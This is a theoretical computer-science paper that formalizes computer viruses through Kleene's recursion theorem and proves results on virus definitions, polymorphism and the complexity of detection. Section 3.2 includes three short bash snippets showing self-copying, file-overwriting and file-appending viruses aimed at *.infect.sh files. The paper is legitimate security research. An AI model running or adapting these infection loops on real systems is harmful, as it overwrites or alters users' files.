

# Toward an abstract computer virology

Guillaume Bonfante, Matthieu Kaczmarek, Jean-Yves Marion

▶ **To cite this version:**

Guillaume Bonfante, Matthieu Kaczmarek, Jean-Yves Marion. Toward an abstract computer virology. Second International Colloquium on Theoretical Aspects of Computing - ICTAC 2005, Oct 2005, Hanoï/Vietnam, pp.579-593, 10.1007/11560647_38 . inria-00115208

**HAL Id: inria-00115208**
**https://inria.hal.science/inria-00115208**

Submitted on 20 Nov 2006

**HAL** is a multi-disciplinary open access archive for the deposit and dissemination of scientific research documents, whether they are published or not. The documents may come from teaching and research institutions in France or abroad, or from public or private research centers.

L'archive ouverte pluridisciplinaire **HAL**, est destinée au dépôt et à la diffusion de documents scientifiques de niveau recherche, publiés ou non, émanant des établissements d'enseignement et de recherche français ou étrangers, des laboratoires publics ou privés.

# Toward an abstract computer virology

G. Bonfante, M. Kaczmarek, and J-Y Marion

Loria, Calligramme project, B.P. 239, 54506 Vandœuvre-lès-Nancy Cédex, France,
and École Nationale Supérieure des Mines de Nancy, INPL, France.

**Abstract.** We are concerned with theoretical aspects of computer viruses. For this, we suggest a new definition of viruses which is clearly based on the iteration theorem and above all on Kleene's recursion theorem. We show that we capture in a natural way previous definitions, and in particular the one of Adleman. We establish generic constructions in order to construct viruses, and we illustrate them by various examples. We discuss about the relationship between information theory and virus and we propose a defense against some kind of viral propagation. Lastly, we show that virus detection is $\Pi_2^0$-complete. However, since we are able to deal with system vulnerability, we exhibit another defense based on controlling system access.

## 1 Introduction

Computer viruses seem to be an omnipresent issue of information technology; there is a lot of books, see [13] or [16], discussing practical issues. But, as far as we know, there are only a few theoretical studies. This situation is even more amazing because the word "computer virus" comes from the seminal theoretical works of Cohen [4–6] and Adleman [1] in the mid-1980's. We do think that theoretical point of view on computer viruses may bring some new insights to the area, as it is also advocated for example by Filiol [8], an expert on computer viruses and cryptology. Indeed, a deep comprehension of mechanisms of computer viruses is from our point of view a promising way to suggest new directions on virus detection and defence against attacks. On theoretical approach to virology, there is an interesting survey of Bishop [2] and we aware of the paper of Thimbleby, Anderson and Cairns [10] and of Chess and White paper [3].

This being said, the first question is what is a virus? In his Phd-thesis [4], Cohen defines viruses with respect to Turing Machines. Roughly speaking, a virus is a word on a Turing machine tape such that when it is activated, it duplicates or mutates on the tape. Adleman took a more abstract formulation of computer viruses based on recursive function in order to have a definition independent from computation models. A recent article of Zuo and Zhou [21] completes Aldemans work, in particular in

formalizing polymorphic viruses. In both approaches, a virus is a self-replicating device. So, a virus has the capacity to act on a description of itself. That is why Kleene's recursion theorem is central in the description of the viral mechanism.

This paper is an attempt to use computability and information theory as a vantage point from which to understand viruses. We suggest a definition which embeds Adelman's as well as Zuo and Zhou's definitions in a natural way.

A virus is a program $\mathbf{v}$ which is solution of the fixed point equation

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \tag{1}$$

where $\mathcal{B}$ is a function which describes the propagation and mutation of the virus in the system. This approach has at least three advantages compared with others mentioned above. First, a virus is a program and not a function. Thus, we switch from a purely functional point of view to a more programming perspective one.

Second, we consider the propagation function, unlike others. So, we are able to have another look at virus replications. All the more so since $\mathcal{B}$ corresponds also to a system vulnerability. Lastly, since the definition is clearly based on recursion theorem, we are able to describe a lot of kind of virus smoothly. To illustrate our words, we establish a general construction of trigger virus in Section 3.3.

The results and the organization of the paper is the following. Section 2 presents the theoretical tools needed to define viruses. We will focus in particular in the s-m-n theorem and the recursion theorem. In section 3, we propose a virus definition and we pursue by a first approach to self-duplication. Section 4 is devoted to Adlemans virus definition. Then, we explore another duplication methods by mutations. We compare our work with Zuo and Zhou definition of polymorphic viruses. Lastly, Section 6 ends with a discussion on the relation with information theory. From that, we deduce an original defense against some particular kind of viruses, see 6.3. The last Section is about virus search complexity which turns out to $\Pi_2^0$-complete. It is worth to mention that we conclude the paper on some research direction to study system flaws, see Theorem 14.

## 2 Iteration and Recursion Theorems

### 2.1 Programming Languages

We are not taking a particular programming language but we are rather considering an abstract, and so simplified, definition of a programming

language. However, we shall illustrate all along the theoretical constructions by bash programs. The examples and analogies that we shall present are there to help the reader having a better understanding of the main ideas but also to show that the theoretical constructions are applicable to any programming language.

We briefly present the necessary definitions to study programming languages in an independent way from a particular computational model. We refer to the book of Davis [7], of Rogers [15] and of Odifreddi [14].

Throughout, we consider that we are given a set $\mathcal{D}$, the domain of the computation. As it is convenient, we take $\mathcal{D}$ to be the set of words over some fixed alphabet. But we could also have taken natural numbers or any free algebra as domains. The size $|u|$ of a word $u$ is the number of letters in $u$.

A programming language is a mapping $\varphi$ from $\mathcal{D} \to (\mathcal{D} \to \mathcal{D})$ such that for each program $\mathbf{p}$, $\varphi(\mathbf{p}) : \mathcal{D} \to \mathcal{D}$ is the partial function computed by $\mathbf{p}$. Following the convention used in calculability theory, we write $\varphi_{\mathbf{p}}$ instead of $\varphi(\mathbf{p})$. Notice that there is no distinction between programs and data.

We write $f \approx g$ to say that for each $x$, either $f(x)$ and $g(x)$ are defined and $f(x) = g(x)$ or both are undefined on $x$.

A total function $f$ is computable wrt $\varphi$ if there is a program $\mathbf{p}$ such that $f \approx \varphi_{\mathbf{p}}$. If $f$ is a partial function, we shall say that $f$ is semi-computable. Similarly, a set is computable (resp. semi-computable) if its characteristic function is computable (semi-computable).

We also assume that there is a pairing computable function $(_, _)$ such that from two words $x$ and $y$ of $\mathcal{D}$, we form a pair $(x, y) \in \mathcal{D}$. A pair $(x, y)$ can be decomposed uniquely into $x$ and $y$ by two computable projection functions. Next, a finite sequence $(x_1, \ldots, x_n)$ of words is built by repeatedly applying the pairing function, that is $(x_1, \ldots, x_n) = (x_1, (x_2, (\ldots, x_n)\ldots))$.

So, we won't make any longer the distinction between a $n$-uple and its encoding. Every function is formally considered unary even if we have in mind a binary one. The context will always be clear.

It is worth to mention that the pairing function may be seen as an encryption function and the projections as decryption function.

Following Uspenski [19] and Rogers [15], a programming language $\varphi$ is acceptable if

1. For each semi-computable function $f$, there is a program $\mathbf{p} \in \mathcal{D}$ such that $\varphi_{\mathbf{p}} \approx f$.

2. There is an universal program $\mathbf{u}$ which satisfies that for each program $\mathbf{p} \in \mathcal{D}$, $\varphi_{\mathbf{u}}(\mathbf{p}, x) \approx \varphi_{\mathbf{p}}(x)$.
3. There is a program $\mathbf{s}$ such that

$$\forall \mathbf{p}, x, y \in \mathcal{D} \quad \varphi_{\mathbf{p}}(x, y) \approx \varphi_{\varphi_{\mathbf{s}}(\mathbf{p},x)}(y)$$

Of course, the function $\varphi_{\mathbf{s}}$ is the well-known s-m-n function written $S$.

The existence of an acceptable programming language was demonstrated by Turing [18].

Kleene's Iteration Theorem yields a function $S$ which specializes an argument in a program. The self-application that is $S(\mathbf{p}, \mathbf{p})$ corresponds to the construction of a program which can read its own code $\mathbf{p}$. By analogy with bash programs, it means that the variable `$0` is assigned to the text, that is $\mathbf{p}$, of the executed bash file.

We present now a version of the second recursion theorem which is due to Kleene. This theorem is one of the deepest result in theory of recursive function. It is the cornerstone of the paper that is why we write the proof. We could also have presented Rogers's recursion theorem but we have preferred to focus on only one recursion theorem in order not to introduce any extra difficulties. It is worth also to cite the paper [11] in which the s-m-n function and the recursion theorem are experimented;

**Theorem 1 (Kleene's second recursion Theorem).** *If $g$ is a semi-computable function, then there is a program $\mathbf{e}$ such that*

$$\varphi_{\mathbf{e}}(x) = g(\mathbf{e}, x) \tag{2}$$

*Proof.* Let $\mathbf{p}$ be a program of the semi-computable function $g(S(y, y), x)$. We have

$$\begin{aligned} g(S(y, y), x) &= \varphi_{\mathbf{p}}(y, x) && (3)\\ &= \varphi_{S(\mathbf{p},y)}(x) && (4) \end{aligned}$$

By setting $\mathbf{e} = S(\mathbf{p}, \mathbf{p})$, we have

$$\begin{aligned} g(\mathbf{e}, x) &= g(S(\mathbf{p}, \mathbf{p}), x) && (5)\\ &= \varphi_{S(\mathbf{p},\mathbf{p})}(x) && (6)\\ &= \varphi_{\mathbf{e}}(x) && (7) \end{aligned}$$

## 3 The viral mechanism

### 3.1 A virus definition

A virus may be thought of as a program which reproduces, and executes some actions. Hence, a virus is a program whose propagation mechanism is described by a computable function $\mathcal{B}$. The propagation function $\mathcal{B}$ searches and selects a sequence of programs $\mathbf{p} = (\mathbf{p}_1, \ldots, \mathbf{p}_n)$ among inputs $(\mathbf{p}, x)$. Then, $\mathcal{B}$ replicates the virus inside $\mathbf{p}$. In other words, $\mathcal{B}$ is the vector which carries and transmits the virus to a program. On the other hand, the function $\mathcal{B}$ can be also seen as a flaw in the programming environment. Indeed, $\mathcal{B}$ is a functional property of the programming language $\varphi$ which is used by a virus $\mathbf{v}$ to enter and propagate into the system. We suggest below an abstract formalization of viruses which reflects the picture that we have described above.

**Definition 2.** *Assume that $\mathcal{B}$ is a semi-computable function. A virus wrt $\mathcal{B}$ is a program $\mathbf{v}$ such that for each $\mathbf{p}$ and $x$ in $\mathcal{D}$,*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \tag{8}$$

*The function $\mathcal{B}$ is called the propagation function of the virus $\mathbf{v}$.*

Throughout, we call *virus* a program, which satisfies the above definition.

As we have said above, we make no distinction between programs and data. However we write in bold face words of $\mathcal{D}$, like $\mathbf{p}, \mathbf{v}$, which denote programs. On the other hand, the argument $x$ does not necessarily denote a data. Nevertheless, in both cases, $\mathbf{p}$ or $x$ refer either to a single word or a sequence of words. (For example $x = (x_1, \ldots, x_n)$.)

### 3.2 Self-reproduction

A distinctive feature of viruses is the self-reproduction property. This has been well developed for cellular automata from the work of von Neumann [20]. Hence, Cohen [4] demonstrated how a virus reproduces in the context of Turing machines.

We show next that a virus can copy itself in several ways. We present some typical examples which in particular illustrate the key role of the recursion Theorem.

We give a first definition of self-reproduction. (A second direction will be discussed in Section 5.) A duplication function *Dup* is a total

computable function such that $Dup(\mathbf{v}, \mathbf{p})$ is a word which contains at least an occurrence of $\mathbf{v}$. A duplicating virus is a virus, which satisfies $\varphi_{\mathbf{v}}(\mathbf{p}, x) = Dup(\mathbf{v}, \mathbf{p})$. The existence of duplicating viruses is a consequence of the following Theorem by setting $f = Dup$.

**Theorem 3.** *Given a semi-computable function $f$, there is a virus $\mathbf{v}$ such that $\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{v}, \mathbf{p})$*

*Proof.* For set $g(y, \mathbf{p}, x) = f(y, \mathbf{p})$. Recursion Theorem implies that the semi-computable function $g$ has a fixed point that we call $\mathbf{v}$. We have $\varphi_{\mathbf{v}}(\mathbf{p}, x) = g(\mathbf{v}, \mathbf{p}, x) = f(\mathbf{v}, \mathbf{p})$.

Next, let $\mathbf{e}$ be a code of $g$, that is $g \approx \varphi_{\mathbf{e}}$. The propagation function $\mathcal{B}$ induced by $\mathbf{v}$ is defined by $\mathcal{B}(\mathbf{v}, \mathbf{p}) = S(\mathbf{e}, \mathbf{v}, \mathbf{p})$, since

$$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) = \varphi_{S(\mathbf{e},\mathbf{v},\mathbf{p})}(x) \tag{9}$$

$$= g(\mathbf{v}, \mathbf{p}, x) = \varphi_{\mathbf{v}}(\mathbf{p}, x) \tag{10}$$

It is worth to say that the propagation function lies on the s-m-n $S$ function. The s-m-n $S$ function specializes the program $\mathbf{e}$ to $\mathbf{v}$ and $\mathbf{p}$, and thus it drops the virus in the system and propagates it. So, in some sense, the s-m-n $S$ function should be be considered as a flaw, which is inherent to each acceptable programming language.

To illustrate behaviors of duplicating viruses, we consider several examples, which correspond to known computer viruses.

**Crushing**

A duplication function *Dup* is a crushing if $Dup(\mathbf{v}, \mathbf{p}) = \mathbf{v}$.

This basic idea is in fact the starting point of a lot of computer viruses.

Most of the email worms use this methods, copying their script to many directories. The e-mail worm "loveletter" copies itself as "MSKernel32.vbs". Lastly, here is a tiny bash program which copies itself.

```
cat $0 > $0.copy
```

**Cloning**

Suppose that $\mathbf{p} = (\mathbf{p}_1, \ldots, \mathbf{p}_n)$. Then, a virus is cloning wrt *Dup*, if $Dup(\mathbf{v}, \mathbf{p}) = (d(\mathbf{v}, \mathbf{p}_1), \ldots, d(\mathbf{v}, \mathbf{p}_n))$ where $d$ is a duplication function. A cloning virus keeps the structure of the program environment but copies itself into some parts. For example, we can think that $\mathbf{p}$ is a directory and $(\mathbf{p}_1, \ldots, \mathbf{p}_n)$ are the file inside. So a cloning virus infects some files in the directory.

Moreover, a cloning virus should also verify that $|d(\mathbf{v}, \mathbf{p}_i)| \leq |\mathbf{p}_i|$. Then, the virus does not increase the program size, and so the detection of such non-size increasing virus is harder.

A cloning virus is usually quite malicious, because it overwrites existing program. A concrete example is the virus named "4870 Overwriting". The next bash program illustrates of a cloning virus.

```
for FName in $(ls *.infect.sh);do
 LENGTH=‘wc -m ./$FName‘
 if [ ./$FName != $0 -a "193" -le "${LENGTH%*./
    $FName}" ]; then
  echo [$0 infect ./$FName]
  cat $0 > ./$FName
 fi
done
```

**Ecto-symbiosis**
A virus is an ecto-symbiote if it lives on the body surface of the program $\mathbf{v}$. For example, $Dup(\mathbf{v}, \mathbf{p}) = \mathbf{v} \cdot \mathbf{p}$ where $\cdot$ is the word concatenation.

The following bash code adds its own code at the end of every file.

```
for FName in $(ls *.infect.sh);do
 if [ ./$FName != $0 ]; then
  echo [$0 infect ./$FName]
  tail $0 -n 6 | cat >> ./$FName
 fi
done
```

The computer virus "Jerusalem" is an ecto-symbiote since it copies itself to executable file (that is, ".COM" or ".EXE" files).

### 3.3 Implicit viruses

We establish a result which constructs a virus which performs several actions depending on some conditions on its arguments. This construction of trigger viruses is very general and embeds a lot of practical cases.

**Theorem 4.** *Let $C_1, \ldots, C_k$ be $k$ semi-computable disjoint subsets of $\mathcal{D}$ and $V_1, \ldots, V_k$ be $k$ semi-computable functions There is a virus $\mathbf{v}$ which*

*satisfies for all* $\mathbf{p}$ *and* $x$*, the equation*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \begin{cases} V_1(\mathbf{v}, \mathbf{p}, x) & (\mathbf{p}, x) \in C_1 \\ \vdots & \\ V_k(\mathbf{v}, \mathbf{p}, x) & (\mathbf{p}, x) \in C_k \end{cases} \tag{11}$$

*Proof.* Define

$$F(y, \mathbf{p}, x) = \begin{cases} V_1(y, \mathbf{p}, x) & (\mathbf{p}, x) \in C_1 \\ \vdots & \\ V_k(y, \mathbf{p}, x) & (\mathbf{p}, x) \in C_k \end{cases} \tag{12}$$

The function $F$ is computable and has a code $\mathbf{e}$ such that $F \approx \varphi_e$. Again, recursion Theorem yields a fixed point $\mathbf{v}$ of $F$ which satisfies the Theorem equation. The induced propagation function is $V(\mathbf{v}, \mathbf{p}) = S(\mathbf{e}, \mathbf{v}, \mathbf{p})$

## 4 Comparison with Adleman's virus

Adleman's modeling is based on the following scenario. For every program, there is an "infected" form of the program.

The virus is a computable function from programs to "infected" programs. An infected program has several behaviors which depend on the input $x$. Adleman lists three actions. In the first (13) the infected program ignores the intended task and executes some "destroying" code. So it is why it is called *injure*. In the second (14), the infected program infects the others, that is it performs the intended task of the original, a priori sane, program, and then it contaminates other programs. In the third and last one (15), the infected program imitates the original program and stays quiescent.

We translate Adleman's original definition into our formalism.

**Definition 5 (Adleman's viruses).** *A total computable function* $A$ *is said to be a* $A$*-viral function (virus in the sense of Adleman) if for each* $x \in \mathcal{D}$ *one of the three following properties holds:*

**Injure**

$$\forall \mathbf{p}, \mathbf{q} \in \mathcal{D} \quad \varphi_{A(\mathbf{p})}(x) = \varphi_{A(\mathbf{q})}(x) \tag{13}$$

*This first kind of behavior corresponds to the execution of some viral functions independently from the infected program.*

**Infect**

$$\forall \mathbf{p}, \mathbf{q} \in \mathcal{D} \quad \varphi_{A(\mathbf{p})}(x) = A(\varphi_{\mathbf{p}}(x)) \tag{14}$$

*The second item corresponds to the case of infection. One sees that any part of $\varphi_{\mathbf{p}}(x)$ is rewritten according to $A$.*

**Imitate**

$$\forall \mathbf{p}, \mathbf{q} \in \mathcal{D} \quad \varphi_{A(\mathbf{p})}(x) = \varphi_{\mathbf{p}}(x) \tag{15}$$

*The last item corresponds to mimic the original program.*

Our definition respects Adleman's idea and implies easily the original infection definition. In Adleman's paper, the infection definition is very closed to the crushing virus as they have defined previously. However, our definition of the infect case is slightly stronger. Indeed, there is no condition or restriction on the application of the A-viral function to $A$ to $\varphi_{\mathbf{p}}(x)$ unlike Adleman's definition. Indeed, he assumes that $\varphi_{\mathbf{p}}(x) = (\mathbf{d}, \mathbf{p}_1, \ldots, \mathbf{p}_n)$ and that $A(\varphi_{\mathbf{p}}(x)) = (\mathbf{d}, a(\mathbf{p}_1), \ldots, a(\mathbf{p}_n))$ where $a$ is a computable function which depends on $A$.

**Theorem 6.** *Assume that $A$ is a A-virus. Then there is a virus which performs the same actions that $A$.*

*Proof.* Let $\mathbf{e}$ be the code of $A$, that is $\varphi_{\mathbf{e}} \approx A$. There is a semi-computable function $App$ such that $App(x, y, z) = \varphi_{\varphi_x(y)}(z)$. Suppose that $\mathbf{q}$ is the code of $App$. Take $\mathbf{v} = S(\mathbf{q}, \mathbf{e})$. We have

$$\begin{aligned}
\varphi_{A(\mathbf{p})}(x) &= \varphi_{\varphi_{\mathbf{e}}(\mathbf{p})}(x) \\
&= App(\mathbf{e}, \mathbf{p}, x) \\
&= \varphi_{\mathbf{q}}(\mathbf{e}, \mathbf{p}, x) \\
&= \varphi_{S(\mathbf{q},\mathbf{e})}(\mathbf{p}, x) \\
&= \varphi_{\mathbf{v}}(\mathbf{p}, x)
\end{aligned}$$

We conclude that the propagation function is $\mathcal{B}(\mathbf{v}, \mathbf{p}) = A(\mathbf{p})$.

## 5 Polymorphic viruses

Until now, we have considered viruses which duplicate themselves without modifying their code. Now, we consider viruses which mutate when they

duplicate. Such viruses are called polymorphic; they are common computer viruses. The appendix gives more "practical informations" about them.

This suggests a second definition of self-reproduction. A mutation function *Mut* is a total computable function such that $Mut(\mathbf{v}, \mathbf{p})$ is a word which contains at least an occurrence of a virus $\mathbf{v}'$. The difference with the previous definition of duplication function in Subsection 3.2 is that $\mathbf{v}'$ is a mutated version of $\mathbf{v}$ wrt $\mathbf{p}$.

### 5.1 On polymorphic generators

Theorem 3, and the implicit virus Theorem 4, shows that a virus is essentially a fixed point of a semi-computable function. In other word, a virus is obtained by solving the equation: $\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{v}, \mathbf{p}, x)$. And solutions are fixed points of $f$. Rogers [15] established that a computable function has an infinite number of fixed points. So, a first mutation strategy could be to enumerate fixed points of $f$. However, the set of fixed points of a computable function is $\Pi_2^0$, and worst it is $\Pi_2^0$-complete for constant functions.

So we can not enumerate all fixed points because it is not a semi-computable set. But, we can generate an infinite number of fixed points.

To illustrate it, we suggest to use a classical padding function *Pad* which satisfies

1. *Pad* is a bijective function.
2. For each program $\mathbf{q}$ and each $y$, $\varphi_{\mathbf{q}} \approx \varphi_{Pad(\mathbf{q},y)}$.

**Lemma 7.** *There is a computable padding function Pad.*

*Proof.* Take $T : \mathcal{D} \times \mathcal{D} \to \mathcal{D}$ as a computable bijective encoding of pairs. Let $\pi_1$ be first projection function of $T$. Define $Pad(\mathbf{q}, y)$ as the code of $\pi_1(T(\mathbf{q}, y))$.

**Theorem 8.** *Let $f$ be a computable function. Then there is a computable function Gen such that*

$$Gen(i) \text{ is a virus} \tag{16}$$

$$\forall i \neq j, \quad Gen(i) \neq Gen(j) \tag{17}$$

$$\varphi_{Gen(i)}(\mathbf{p}, x) = f(Gen(i), \mathbf{p}) \tag{18}$$

*Proof.* In fact, $Gen(i)$ is the ith fixed point of $f$ wrt to a fixed point enumeration procedure. A construction of a fixed point enumeration procedure is made by padding Kleene's fixed point given by the proof of the recursion Theorem.

For this, suppose that $\mathbf{p}$ is a program of the semi-computable function $g(S(y,y),x)$. We have

$$g(S(y,y),x) = \varphi_{\mathbf{p}}(y,x) \tag{19}$$

By setting $Gen(i) = S(Pad(\mathbf{p},i), Pad(\mathbf{p},i))$, we have

$$\begin{aligned} g(S(Pad(\mathbf{p},i), Pad(\mathbf{p},i)),x) &= \varphi_{\mathbf{p}}(Pad(\mathbf{p},i),x) && (20)\\ &= \varphi_{Pad(\mathbf{p},i)}(Pad(\mathbf{p},i),x) \quad Pad\text{'s dfn} && (21)\\ &= \varphi_{S(Pad(\mathbf{p},i),Pad(\mathbf{p},i))}(x) && (22) \end{aligned}$$

*Remark 9.* For a virus writer, a mutation function is a polymorphic engine, such as the well known "Dark Avenger". A polymorphic engine is a module which gives de ability to look different on replication most of them are encryptor, decryptor functions.

### 5.2 Zuo and Zhou's viral function

Polymorphic viruses were foreseen by Cohen and Adleman. As far as we know, Zuo and Zhou's are the first in [21] to propose a formal definition of the virus mutation process. They discuss on viruses that evolve into at most $n$ forms, and then they consider polymorphism with an infinite numbers of possible mutations.

**Definition 10 (Zuo and Zhou viruses).** *Assume that $T$ and $I$ are two disjoint computable sets. A total computable function $ZZ$ is a ZZ-viral polymorphic function if for all $n$ and $\mathbf{q}$,*

$$\varphi_{ZZ(n,\mathbf{q})}(x) = \begin{cases} D(x) & x \in T \quad Injure \\ ZZ(n+1, \varphi_{\mathbf{q}}(x)) & x \in I \quad Infect \\ \varphi_{\mathbf{q}}(x) & Imitate \end{cases} \tag{23}$$

This definition is closed to the one of Adleman, where $T$ corresponds to a set of arguments for which the virus injures and $I$ is a set of arguments for which the virus infects. The last case corresponds to the imitation behavior of a virus. So, the difference stands on the argument $n$ which is used to mutate the virus in the infect case. Hence, a given program $\mathbf{q}$ has an infinite set of infected forms which are $\{ZZ(\mathbf{q},n) \mid n \in \mathcal{D}\}$. (Technically, $n$ is an encoding of natural numbers into $\mathcal{D}$.)

**Theorem 11.** *Assume that ZZ is a ZZ-viral polymorphic function. Then there is a virus which performs the same actions that ZZ wrt a propagation function.*

*Proof.* The proof is a direct consequence of implicit virus Theorem 4 by setting $\mathbf{p} = (n, \mathbf{q})$.

## 6 Information Theory

There are various way to define a mutation function. A crucial feature of a virus is to be as small as possible. Thus, it is much harder to detect it. We now revisit clone and symbiote virus definitions.

### 6.1 Compressed clones

A compressed clone is a mutated virus $Mut(\mathbf{v}, \mathbf{p})$ such that $|Mut(\mathbf{v}, \mathbf{p})| < |\mathbf{v}|$. A compression may use informations inside the program $\mathbf{p}$. There are several compression algorithms which perform such replications.

### 6.2 Endo-Symbiosis

An endo-symbiote is a virus which hides (and lives) in a program. A spyware is a kind of endo-symbiote. For this, it suffices that

1. We can retrieve $\mathbf{v}$ and $\mathbf{p}$ from $Mut(\mathbf{v}, \mathbf{p})$. That is, there are two inverse functions $V$ and $P$ such that $\varphi_{V(Mut(\mathbf{v},\mathbf{p}))} \approx \varphi_{\mathbf{v}}$ and $\varphi_{P(Mut(\mathbf{v},\mathbf{p}))} \approx \varphi_{\mathbf{p}}$
2. To avoid an easy detection of viruses, we impose that
$$|Mut(\mathbf{v}, \mathbf{p})| \leq |\mathbf{p}|$$
3. We suppose furthermore that
$$|V(Mut(\mathbf{v}, \mathbf{p}))| + |P(Mut(\mathbf{v}, \mathbf{p}))| \leq |Mut(\mathbf{v}, \mathbf{p})|$$

Both examples above show an interesting relationship with complexity information Theory. For this, we refer to the book of Li and Vitányi [12]. Complexity information theory leans on Kolmogorov complexity. The Kolmogorov complexity of a word $x \in \mathcal{D}$ wrt $\varphi_{\mathbf{e}}$ and knowing $y$ is $K_{\varphi_{\mathbf{e}}}(x|y) = \min\{|\mathbf{q}| : \varphi_{\mathbf{e}}(\mathbf{q}, y) = x\}$. The fundamental Theorem of Kolmogorov complexity theory yields: There is universal program $\mathbf{u}$ such that for any program $\mathbf{e}$, we have $K_{\varphi_{\mathbf{u}}}(x|y) \leq K_{\varphi_{\mathbf{e}}}(x|y) + c$ where $c$ is some constant. This means that the minimal size of a program which computes a word $x$ wrt $y$ is $K_{\varphi_{\mathbf{u}}}(x|y)$, up to an additive constant.

Now, suppose that the virus $\mathbf{v}$ mutates to $\mathbf{v}'$ from $\mathbf{p}$. That is $Mut(\mathbf{v}, \mathbf{p}) = \mathbf{v}'$. An interesting question is then to determine the amount of information which is needed to produce the virus $\mathbf{v}'$. The answer is $K_{\varphi_\mathbf{u}}(\mathbf{v}'|(\mathbf{v}, \mathbf{p}))$ bits, up to an additive constant.

The demonstration of the fundamental Theorem implies that the shortest description of a word $x$ is made of two parts. The first part $\mathbf{e}$ encodes the word regularity and the second part $\mathbf{q}$ represents the "randomness" side of $x$. And, we have $\varphi_\mathbf{e}(\mathbf{q}, y) = x$. Here, the program $\mathbf{e}$ plays the role of an interpreter which executes $\mathbf{q}$ in order to print $x$. Now, let us decompose $\mathbf{v}'$ into two parts (i) an interpreter $\mathbf{e}$ and (ii) a random data part $\mathbf{q}$ such that $\varphi_{\mathbf{v}'} = \varphi_{\varphi_\mathbf{e}(\mathbf{q},\mathbf{v},\mathbf{p})}$. In this construction, the virus introduces an interpreter for hiding itself. This is justified by the fundamental Theorem which says that it is an efficient way to compress a virus. In [9], Goel and Bush use Kolmogorov complexity to make a comparison and establish results between biological and computer viruses.

### 6.3 Defense against endo-symbiotes

We suggest an original defense (as far as we know) against some viruses based on information Theory. We use the notations introduced in Section 6 about endo-symbiosis and Kolmogorov complexity.

Our defense prevents the system to be infected by endo-symbiote. Suppose that the programming environment is composed of an interpreter $\mathbf{u}$ which is a universal program. We modify it to construct $\mathbf{u}'$ in such way that $\varphi_{\mathbf{u}'}(\mathbf{p}, x) = \varphi_{\varphi_\mathbf{u}(\mathbf{p})}(x)$. Hence, intuitively a program for $\varphi_{\mathbf{u}'}$ is a description of a program wrt $\varphi_\mathbf{u}$.

Given a constant $c$, we define a $c$-compression of a program $\mathbf{p}$ as a program $\mathbf{p}'$ such that $\varphi_\mathbf{u}(\mathbf{p}') = \mathbf{p}$ and $|\mathbf{p}'| \leq K_{\varphi_u}(\mathbf{p}) + c$. Observe that $\varphi_{\mathbf{u}'}(\mathbf{p}', x) = \varphi_\mathbf{p}(x)$.

Now, suppose that $\mathbf{v}$ is an endo-symbiote. So, there is a mutation function $Mut$ and two associated projections $V$ et $P$. We have by definition of endo-symbiotes that $|V(Mut(\mathbf{v}, \mathbf{p}'))| + |P(Mut(\mathbf{v}, \mathbf{p}'))| \leq |Mut(\mathbf{v}, \mathbf{p}')| \leq |\mathbf{p}'|$. By definition of $P$, we have $\varphi_{\mathbf{p}'} = \varphi_{P(Mut(\mathbf{v},\mathbf{p}'))}$. As a consequence, $\varphi_\mathbf{u}(\mathbf{p}') = \varphi_\mathbf{u}(P(Mut(\mathbf{v}, \mathbf{p}'))) = \mathbf{p}$. So, $|P(Mut(\mathbf{v}, \mathbf{p}'))| \geq K_{\varphi_\mathbf{u}}(\mathbf{p})$. Finally, the space $|V(Mut(\mathbf{v}, \mathbf{p}'))|$ to encode the virus is bounded by $c$. Notice that it is not difficult to forbid $\varphi_{\mathbf{u}'}$ to execute programs which have less than $c$ bits. In this case, no endo-symbiote can infect $\mathbf{p}'$. Therefore, $c$-compressed programs are safe from attack by endo-symbiotes.

Of course, this defense strategy is infeasible because there is no way to approximate the Kolmogorov complexity by mean of a computable function. In consequence, we can not produce $c$-compressed programs.

However, we do think this kind of idea shed some light on self-defense programming systems.

## 7 Detection of viruses

Let us first consider the set of viruses wrt a function $\mathcal{B}$. It is formally given by $V_{\mathcal{B}} = \{\mathbf{v} \mid \forall \mathbf{p}, x : \exists y : \varphi_{\mathbf{v}}(\mathbf{p}, x) = y \wedge \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) = y\}$. As the formulation of $V_{\mathcal{B}}$ shows it, we have:

**Proposition 12.** *Given a recursive function $\mathcal{B}$, $V_{\mathcal{B}}$ is $\Pi_2^0$.*

**Theorem 13.** *There are some functions $\mathcal{B}$ for which $V_{\mathcal{B}}$ is $\Pi_2^0$-complete.*

*Proof.* Suppose now given a computable function $t$, it has an index $\mathbf{q}$. It is well known that the set $T = \{i \mid \varphi_i = t\}$ is $\Pi_2$-complete. Define now $\mathcal{B}(y, p) = S(\mathbf{q}, p)$. Observe that a virus $\mathbf{v}$ verify: $\forall \mathbf{p}, x : \varphi_{\mathbf{v}}(\mathbf{p}, x) = t(\mathbf{p}, x)$. The pairing procedure being surjective, $\mathbf{v}$ is an index of $t$. Conversly, suppose that $\mathbf{e}$ is not a virus. In that case, there is some $\mathbf{p}, x$ for which $\varphi_{\mathbf{e}}(\mathbf{p}, x) \neq \varphi_{\mathcal{B}(\mathbf{e},\mathbf{p})}(x) = t(\mathbf{p}, x)$. As a consequence, it is not an index of $t$. So, $V_{\mathcal{B}} = T$.

**Theorem 14.** *There are some functions $\mathcal{B}$ for which it is decidable whether $\mathbf{p}$ is a virus or not.*

*Proof.* Let us define $f(y, \mathbf{p}, x) = \varphi_y(\mathbf{p}, x)$. Being recursive, it has a code, say $\mathbf{q}$. Application of s-m-n Theorem provides $S(\mathbf{q}, y, \mathbf{p})$ such that for all $y, \mathbf{p}, x$, we have $\varphi_{S(\mathbf{q},y,\mathbf{p})}(x) = f(y, \mathbf{p}, x)$. Let us define $\mathcal{B}(y, \mathbf{p}) = S(\mathbf{q}, y, \mathbf{p})$. It is routine to check that for all $\mathbf{d}$, $\mathbf{d}$ is a virus for $\mathcal{B}$. So, in that case, any index is a virus.

A consequence of this is that there are some weakness for which it is decidable whether a code is a virus or not. This is again, as far as we know, one of the first positive results concerning the detection of viruses.

## References


1. L. Adleman. An abstract theory of computer viruses. In *Advances in Cryptology — CRYPTO'88*, volume 403. Lecture Notes in Computer Science, 1988.
